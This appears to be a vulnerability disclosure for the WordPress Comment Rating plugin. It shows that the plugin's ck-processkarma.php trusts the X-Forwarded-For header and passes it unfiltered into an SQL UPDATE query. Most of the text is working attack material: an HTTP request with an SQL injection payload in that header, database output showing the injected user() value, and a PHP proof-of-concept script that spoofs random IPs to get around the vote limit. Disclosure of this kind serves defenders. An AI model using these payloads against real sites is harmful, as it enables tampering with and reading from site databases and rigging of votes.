Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php
First take the IP from HTTP_X_FORWARDED_FOR header.
-----------------------------------------------------------------------
48 $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
49 if(strstr($row['ck_ips'], $ip)) {
50 // die('error|You have already voted on this item!');
51 // Just don't count duplicated votes
52 $duplicated = 1;
53 $ck_ips = $row['ck_ips'];
54 }
Later made a UPDATE without filter the input.
------------------------------------------------------------------------
77 $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips . "' WHERE ck_comment_id = $k_id";
So let's take a look in the DB
mysql> select * from wp_comment_rating;
+---------------+----------------+--------------+----------------+
| ck_comment_id | ck_ips | ck_rating_up | ck_rating_down |
+---------------+----------------+--------------+----------------+
| 2 | ,20.209.10.130 | 1 | 0 |
| 3 | | 0 | 0 |
+---------------+----------------+--------------+----------------+
2 rows in set (0.00 sec)
Now made a HTTP request with a injection in the HTTP_X_FORWARDED_FOR header:
GET /wordpress/wp-content/plugins/comment-rating/ck-processkarma.php?id=2&action=add&path=a&imgIndex=1_14_ HTTP/1.1
Host: 192.168.1.10
Accept-Encoding: gzip, deflate
X-Forwarded-For: ', ck_ips=(select user()) WHERE ck_comment_id=2#
Connection: keep-alive
And the result is:
mysql> select * from wp_comment_rating;
+---------------+---------------------+--------------+----------------+
| ck_comment_id | ck_ips | ck_rating_up | ck_rating_down |
+---------------+---------------------+--------------+----------------+
| 2 | wordpress@localhost | 2 | 0 |
| 3 | | 0 | 0 |
+---------------+---------------------+--------------+----------------+
2 rows in set (0.00 sec)
Cheers

77 $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips . "' WHERE ck_comment_id = $k_id";
Now for bypass the vote limitation, we just have to add the HTTP_X_FORWARDED_FOR header and change it once per request.
A simple POC is made in php.
<?PHP
define('HOST','http://localhost/wordpress/');
define('IDCOMMENT',2);
$url=parse_url(HOST);
define('URL',$url['path'].'wp-content/plugins/comment-rating/ck-processkarma.php?id='.IDCOMMENT.'&action=add&path=a&imgIndex=1_14_');
for($i=0;$i<1;$i++) lvlup();
function lvlup(){
global $url;
$header = "GET ".URL." HTTP/1.1 \r\n";
$header.= "Host: ".$url['host']."\r\n";
$header.= "Accept-Encoding: gzip, deflate \r\n";
$header.= "X-Forwarded-For: ".long2ip(rand(0, "4294967295"))."\r\n";
$header.= "Connection: close \r\n\r\n";
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket,$url['host'], 80);
socket_write($socket, $header);
socket_close($socket);
}
?>
